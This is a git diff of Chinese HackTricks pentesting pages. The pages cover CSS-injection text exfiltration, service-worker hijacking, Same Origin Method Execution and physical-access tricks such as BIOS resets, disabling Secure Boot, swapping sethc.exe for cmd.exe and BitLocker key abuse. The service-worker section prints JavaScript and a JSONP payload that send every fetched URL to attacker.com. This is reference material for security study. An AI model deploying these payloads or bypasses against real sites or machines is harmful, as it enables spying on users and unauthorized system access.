### 文本节点外泄 (II):使用默认字体泄露字符集(不需要外部资源) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### 文本节点外泄 (II):使用默认字体泄露字符集(不需要外部资产) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**参考:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
||||
|
||||
|
@ -278,13 +271,13 @@ B
|
|||
**CADB**
|
||||
|
||||
|
||||
在此过渡期间,**unicode-range 技巧**被用来识别每个新字符,因为它加入前缀。这是通过将字体切换到 Comic Sans 来实现的,Comic Sans 显著比默认字体高,从而触发垂直滚动条。这个滚动条的出现间接揭示了前缀中存在新字符。
|
||||
在此过渡期间,**unicode-range 技巧** 被用来识别每个新字符,因为它加入前缀。这是通过将字体切换到 Comic Sans 来实现的,Comic Sans 明显比默认字体高,从而触发垂直滚动条。这个滚动条的出现间接揭示了前缀中存在新字符。
|
||||
|
||||
尽管这种方法允许检测到独特字符的出现,但并未指定哪个字符被重复,只是表明发生了重复。
|
||||
尽管这种方法允许检测到独特字符的出现,但并未指定哪个字符被重复,仅仅表明发生了重复。
|
||||
|
||||
{% hint style="info" %}
|
||||
基本上,**unicode-range 用于检测字符**,但由于我们不想加载外部字体,我们需要找到另一种方法。\
|
||||
当 **字符** 被 **找到** 时,它被 **赋予** 预安装的 **Comic Sans 字体**,这使得字符 **变大** 并 **触发滚动条**,从而 **泄露找到的字符**。
|
||||
当 **字符** 被 **找到** 时,它被 **赋予** 预安装的 **Comic Sans 字体**,这使得字符 **变大** 并 **触发滚动条**,这将 **泄露找到的字符**。
|
||||
{% endhint %}
|
||||
|
||||
检查从 PoC 中提取的代码:
|
||||
|
@ -416,7 +409,7 @@ background: blue var(--leak);
|
|||
|
||||
**参考:** 这在[这篇文章中被提到作为一个不成功的解决方案](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
这个案例与之前的非常相似,然而,在这个案例中,特定**字符比其他字符更大是为了隐藏某些东西**,比如一个按钮不被机器人点击或一个不会加载的图像。因此,我们可以测量这个动作(或缺乏动作),并知道特定字符是否存在于文本中。
|
||||
这个案例与之前的非常相似,然而,在这个案例中,特定**字符比其他字符更大是为了隐藏某些东西**,比如一个不希望被机器人点击的按钮或一个不会被加载的图像。因此,我们可以测量这个动作(或缺乏动作),并知道特定字符是否存在于文本中。
|
||||
|
||||
### 文本节点外泄 (III):通过缓存时间泄露字符集(不需要外部资源) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
|
@ -430,15 +423,15 @@ src: url(/static/bootstrap.min.css?q=1);
|
|||
unicode-range: U+0041;
|
||||
}
|
||||
```
|
||||
如果匹配成功,**字体将从 `/static/bootstrap.min.css?q=1` 加载**。虽然它不会成功加载,但**浏览器应该缓存它**,即使没有缓存,也有**304未修改**机制,因此**响应应该比其他内容更快**。
|
||||
如果有匹配,**字体将从 `/static/bootstrap.min.css?q=1` 加载**。虽然它不会成功加载,但**浏览器应该缓存它**,即使没有缓存,也有**304未修改**机制,因此**响应应该比其他内容更快**。
|
||||
|
||||
然而,如果缓存响应与非缓存响应的时间差不够大,这将没有用。例如,作者提到:然而,经过测试,我发现第一个问题是速度没有太大差别,第二个问题是机器人使用了 `disk-cache-size=1` 标志,这真的很周到。
|
||||
|
||||
### 文本节点外泄 (III):通过计时加载数百个本地“字体”(不需要外部资源)泄露字符集 <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### 文本节点外泄 (III):通过定时加载数百个本地“字体”(不需要外部资源)泄露字符集 <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**参考:** 这在[这篇文章中被提到作为一个不成功的解决方案](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
在这种情况下,当发生匹配时,您可以指示**CSS从同一来源加载数百个假字体**。这样您可以**测量所需的时间**,并找出字符是否出现,方法如下:
|
||||
在这种情况下,当发生匹配时,您可以指示**CSS从同一来源加载数百个假字体**。这样您可以**测量所需时间**,并找出字符是否出现,方法如下:
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
|
@ -455,7 +448,7 @@ browser.get(url)
|
|||
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
|
||||
time.sleep(30)
|
||||
```
|
||||
所以,如果字体不匹配,访问机器人时的响应时间预计约为 30 秒。然而,如果字体匹配,将会发送多个请求以检索字体,导致网络持续活动。因此,满足停止条件并接收响应所需的时间会更长。因此,响应时间可以作为判断是否存在字体匹配的指标。
|
||||
所以,如果字体不匹配,访问机器人时的响应时间预计约为 30 秒。然而,如果存在字体匹配,将会发送多个请求以检索字体,导致网络持续活动。因此,满足停止条件并接收响应所需的时间会更长。因此,响应时间可以作为判断是否存在字体匹配的指标。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -464,23 +457,17 @@ time.sleep(30)
|
|||
* [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
|
||||
* [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,5 +1,7 @@
|
|||
# Abusing Service Workers
|
||||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -15,17 +17,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Basic Information
|
||||
|
||||
**服务工作者**是由浏览器在后台运行的脚本,与任何网页分开,启用不需要网页或用户交互的功能,从而增强**离线和后台处理**能力。有关服务工作者的详细信息可以在[这里](https://developers.google.com/web/fundamentals/primers/service-workers)找到。通过利用易受攻击的网页域中的服务工作者,攻击者可以控制受害者与该域内所有页面的交互。
|
||||
**服务工作者**是由浏览器在后台运行的脚本,与任何网页分开,启用不需要网页或用户交互的功能,从而增强**离线和后台处理**能力。有关服务工作者的详细信息可以在[这里](https://developers.google.com/web/fundamentals/primers/service-workers)找到。通过利用脆弱网页域中的服务工作者,攻击者可以控制受害者与该域内所有页面的交互。
|
||||
|
||||
|
||||
### Checking for Existing Service Workers
|
||||
|
||||
|
@ -33,16 +28,16 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
### Push Notifications
|
||||
|
||||
**推送通知权限**直接影响**服务工作者**与服务器进行通信的能力,而无需直接用户交互。如果权限被拒绝,则限制了服务工作者造成持续威胁的潜力。相反,授予权限会增加安全风险,因为这使得接收和执行潜在漏洞成为可能。
|
||||
**推送通知权限**直接影响**服务工作者**与服务器进行通信的能力,而无需直接用户交互。如果权限被拒绝,则限制了服务工作者构成持续威胁的潜力。相反,授予权限会增加安全风险,因为这使得接收和执行潜在漏洞成为可能。
|
||||
|
||||
## Attack Creating a Service Worker
|
||||
|
||||
为了利用此漏洞,您需要找到:
|
||||
|
||||
* 一种方法来**上传任意 JS** 文件到服务器,以及一个**XSS 来加载上传的 JS 文件的服务工作者**
|
||||
* 一个**易受攻击的 JSONP 请求**,您可以在其中**操纵输出(使用任意 JS 代码)**,以及一个**XSS**来**加载带有有效负载的 JSONP**,该有效负载将**加载恶意服务工作者**。
|
||||
* 一个**脆弱的 JSONP 请求**,您可以**操纵输出(使用任意 JS 代码)**,以及一个**XSS**来**加载带有有效负载的 JSONP**,这将**加载恶意服务工作者**。
|
||||
|
||||
在以下示例中,我将展示一个代码来**注册一个新的服务工作者**,该服务工作者将监听`fetch`事件,并将**每个获取的 URL 发送到攻击者的服务器**(这是您需要**上传**到**服务器**或通过**易受攻击的 JSONP** 响应加载的代码):
|
||||
在以下示例中,我将展示一个代码来**注册一个新的服务工作者**,该服务工作者将监听`fetch`事件,并将**每个获取的 URL 发送到攻击者的服务器**(这是您需要**上传**到**服务器**或通过**脆弱的 JSONP** 响应加载的代码):
|
||||
```javascript
|
||||
self.addEventListener('fetch', function(e) {
|
||||
e.respondWith(caches.match(e.request).then(function(response) {
|
||||
|
@ -71,17 +66,17 @@ xhttp2.send();
|
|||
```javascript
|
||||
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
|
||||
```
|
||||
There is a **C2** dedicated to the **exploitation of Service Workers** called [**Shadow Workers**](https://shadow-workers.github.io) that will be very useful to abuse these vulnerabilities.
|
||||
有一个专门用于**服务工作者利用**的**C2**,叫做[**Shadow Workers**](https://shadow-workers.github.io),这将对利用这些漏洞非常有用。
|
||||
|
||||
The **24-hour cache directive** limits the life of a malicious or compromised **service worker (SW)** to at most 24 hours after an XSS vulnerability fix, assuming online client status. To minimize vulnerability, site operators can lower the SW script's Time-To-Live (TTL). Developers are also advised to create a [**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) for rapid deactivation.
|
||||
**24小时缓存指令**限制了恶意或被攻陷的**服务工作者 (SW)**的生命周期,最多为XSS漏洞修复后的24小时,假设在线客户端状态。为了最小化漏洞,网站运营商可以降低SW脚本的生存时间(TTL)。开发者还被建议创建一个[**服务工作者杀开关**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776)以便快速停用。
|
||||
|
||||
## Abusing `importScripts` in a SW via DOM Clobbering
|
||||
## 通过DOM覆盖在SW中滥用`importScripts`
|
||||
|
||||
The function **`importScripts`** called from a Service Worker can **import a script from a different domain**. If this function is called using a **parameter that an attacker could** modify he would be able to **import a JS script from his domain** and get XSS.
|
||||
从服务工作者调用的函数**`importScripts`**可以**从不同域导入脚本**。如果使用**攻击者可以修改的参数**调用此函数,他将能够**从他的域导入JS脚本**并获得XSS。
|
||||
|
||||
**这甚至绕过了CSP保护。**
|
||||
**这甚至可以绕过CSP保护。**
|
||||
|
||||
**Example vulnerable code:**
|
||||
**示例易受攻击的代码:**
|
||||
|
||||
* **index.html**
|
||||
```html
|
||||
|
@ -113,15 +108,9 @@ self.importScripts(host + "/sw_extra.js");
|
|||
|
||||
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# SOME - Same Origin Method Execution
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -10,66 +10,52 @@
|
|||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Same Origin Method Execution
|
||||
|
||||
有时您可以在页面中执行一些有限的 JavaScript。例如,在您可以[ **控制将被执行的回调值**](./#javascript-function)的情况下。
|
||||
有时你可以在页面中执行一些有限的 JavaScript。例如,在你可以[ **控制一个将被执行的回调值**](./#javascript-function)的情况下。
|
||||
|
||||
在这些情况下,您可以做的最好的事情之一是 **访问 DOM 以调用您能找到的任何** 敏感操作(例如点击按钮)。然而,通常您会在 **没有任何有趣内容的 DOM 的小端点** 中发现此漏洞。
|
||||
在这些情况下,你可以做的最好的事情之一是 **访问 DOM 来调用你能找到的任何** 敏感操作(比如点击一个按钮)。然而,通常你会在 **没有任何有趣内容的 DOM 的小端点** 中发现这个漏洞。
|
||||
|
||||
在这些场景中,这种攻击将非常有用,因为其目标是能够 **滥用来自同一域的不同页面中的有限 JS 执行**,以进行更有趣的操作。
|
||||
在这些场景中,这种攻击将非常有用,因为它的目标是能够 **利用来自同一域的不同页面中的有限 JS 执行** 来进行更有趣的操作。
|
||||
|
||||
基本上,攻击流程如下:
|
||||
|
||||
* 找到一个 **您可以滥用的回调**(可能限制为 \[\w\\.\_])。
|
||||
* 如果没有限制并且您可以执行任何 JS,您可以像常规 XSS 一样滥用它。
|
||||
* 找到一个 **你可以利用的回调**(可能限制为 \[\w\\.\_])。
|
||||
* 如果没有限制且你可以执行任何 JS,你可以像常规 XSS 一样利用它。
|
||||
* 让 **受害者打开一个** 由 **攻击者** 控制的页面。
|
||||
* **页面将自己** 在 **不同窗口** 中打开(新窗口将有对象 **`opener`** 引用初始窗口)。
|
||||
* **页面将自己** 在 **不同的窗口** 中打开(新窗口将有对象 **`opener`** 引用初始窗口)。
|
||||
* **初始页面** 将加载 **有趣的 DOM** 所在的 **页面**。
|
||||
* **第二个页面** 将加载 **滥用回调的易受攻击页面**,并使用 **`opener`** 对象 **访问并在初始页面中执行某些操作**(现在包含有趣的 DOM)。
|
||||
* **第二个页面** 将加载 **利用回调的易受攻击页面**,并使用 **`opener`** 对象来 **访问并在初始页面中执行某些操作**(现在包含有趣的 DOM)。
|
||||
|
||||
{% hint style="danger" %}
|
||||
请注意,即使初始页面在创建第二个页面后访问新 URL,**第二个页面的 `opener` 对象仍然是对新 DOM 中第一个页面的有效引用**。
|
||||
请注意,即使初始页面在创建第二个页面后访问了一个新 URL,**第二个页面的 `opener` 对象仍然是对新 DOM 中第一个页面的有效引用**。
|
||||
|
||||
此外,为了使第二个页面能够使用 opener 对象,**两个页面必须在同一源**。这就是为什么为了滥用此漏洞,您需要找到某种 **同源中的 XSS**。
|
||||
此外,为了使第二个页面能够使用 opener 对象,**两个页面必须在同一源**。这就是为什么为了利用这个漏洞,你需要找到某种 **同源的 XSS**。
|
||||
{% endhint %}
|
||||
|
||||
### Exploitation
|
||||
|
||||
* 您可以使用此表单来 **生成 PoC** 以利用此类漏洞:[https://www.someattack.com/Playground/SOMEGenerator](https://www.someattack.com/Playground/SOMEGenerator)
|
||||
* 为了找到带有点击的 HTML 元素的 DOM 路径,您可以使用此浏览器扩展:[https://www.someattack.com/Playground/targeting\_tool](https://www.someattack.com/Playground/targeting\_tool)
|
||||
* 你可以使用这个表单来 **生成 PoC** 来利用这种类型的漏洞:[https://www.someattack.com/Playground/SOMEGenerator](https://www.someattack.com/Playground/SOMEGenerator)
|
||||
* 为了找到一个 HTML 元素的点击 DOM 路径,你可以使用这个浏览器扩展:[https://www.someattack.com/Playground/targeting\_tool](https://www.someattack.com/Playground/targeting\_tool)
|
||||
|
||||
### Example
|
||||
|
||||
* 您可以在 [https://www.someattack.com/Playground/](https://www.someattack.com/Playground/) 找到一个易受攻击的示例。
|
||||
* 请注意,在此示例中,服务器 **生成 JavaScript 代码** 并 **将其添加** 到基于 **回调参数内容的 HTML** 中:`<script>opener.{callbacl_content}</script>`。这就是为什么在此示例中您不需要明确指示使用 `opener`。
|
||||
* 还可以查看此 CTF 文章:[https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068)
|
||||
* 你可以在 [https://www.someattack.com/Playground/](https://www.someattack.com/Playground/) 找到一个易受攻击的示例。
|
||||
* 请注意,在这个示例中,服务器 **生成 JavaScript 代码** 并 **将其添加** 到基于 **回调参数内容的 HTML** 中:`<script>opener.{callbacl_content}</script>`。这就是为什么在这个示例中你不需要明确指示使用 `opener`。
|
||||
* 还可以查看这个 CTF 文章:[https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068)
|
||||
|
||||
## References
|
||||
|
||||
* [https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/](https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -77,7 +63,7 @@ WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户
|
|||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -9,37 +9,23 @@
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
---
|
||||
|
||||
## BIOS 密码恢复和系统安全
|
||||
|
||||
**重置 BIOS** 可以通过几种方式实现。大多数主板都包含一个 **电池**,当移除约 **30 分钟** 后,将重置 BIOS 设置,包括密码。或者,可以通过连接特定引脚来调整 **主板上的跳线** 来重置这些设置。
|
||||
**重置 BIOS** 可以通过几种方式实现。大多数主板都包含一个 **电池**,当移除约 **30 分钟** 后,将重置 BIOS 设置,包括密码。或者,可以通过调整 **主板上的跳线** 来重置这些设置,方法是连接特定的引脚。
|
||||
|
||||
对于无法或不实用进行硬件调整的情况,**软件工具** 提供了解决方案。使用 **Kali Linux** 等发行版从 **Live CD/USB** 启动系统,可以访问像 **_killCmos_** 和 **_CmosPWD_** 这样的工具,帮助进行 BIOS 密码恢复。
|
||||
|
||||
如果 BIOS 密码未知,错误输入 **三次** 通常会导致错误代码。可以在像 [https://bios-pw.org](https://bios-pw.org) 这样的网站上使用此代码来检索可用密码。
|
||||
在 BIOS 密码未知的情况下,错误输入 **三次** 通常会导致错误代码。可以在像 [https://bios-pw.org](https://bios-pw.org) 这样的网站上使用此代码来检索可用的密码。
|
||||
|
||||
### UEFI 安全
|
||||
|
||||
对于使用 **UEFI** 而非传统 BIOS 的现代系统,可以利用工具 **chipsec** 来分析和修改 UEFI 设置,包括禁用 **安全启动**。可以使用以下命令完成此操作:
|
||||
对于使用 **UEFI** 而非传统 BIOS 的现代系统,可以使用工具 **chipsec** 来分析和修改 UEFI 设置,包括禁用 **安全启动**。可以使用以下命令完成此操作:
|
||||
|
||||
`python chipsec_main.py -module exploits.secure.boot.pk`
|
||||
|
||||
|
@ -51,9 +37,9 @@ WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户
|
|||
|
||||
**INCEPTION** 是一个旨在通过 DMA 进行 **物理内存操作** 的工具,兼容 **FireWire** 和 **Thunderbolt** 等接口。它允许通过修补内存以接受任何密码来绕过登录程序。然而,它对 **Windows 10** 系统无效。
|
||||
|
||||
### Live CD/USB 进行系统访问
|
||||
### 使用 Live CD/USB 进行系统访问
|
||||
|
||||
通过用 **_cmd.exe_** 替换系统二进制文件如 **_sethc.exe_** 或 **_Utilman.exe_**,可以提供具有系统权限的命令提示符。可以使用 **chntpw** 工具编辑 Windows 安装的 **SAM** 文件,从而允许更改密码。
|
||||
通过用 **_cmd.exe_** 替换系统二进制文件如 **_sethc.exe_** 或 **_Utilman.exe_**,可以提供具有系统权限的命令提示符。可以使用 **chntpw** 等工具编辑 Windows 安装的 **SAM** 文件,从而允许更改密码。
|
||||
|
||||
**Kon-Boot** 是一个工具,可以在不知道密码的情况下登录 Windows 系统,通过临时修改 Windows 内核或 UEFI。更多信息可以在 [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/) 找到。
|
||||
|
||||
|
@ -81,18 +67,6 @@ WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户
|
|||
|
||||
可以通过社会工程学策略添加新的 BitLocker 恢复密钥,说服用户执行一个命令,添加一个由零组成的新恢复密钥,从而简化解密过程。
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
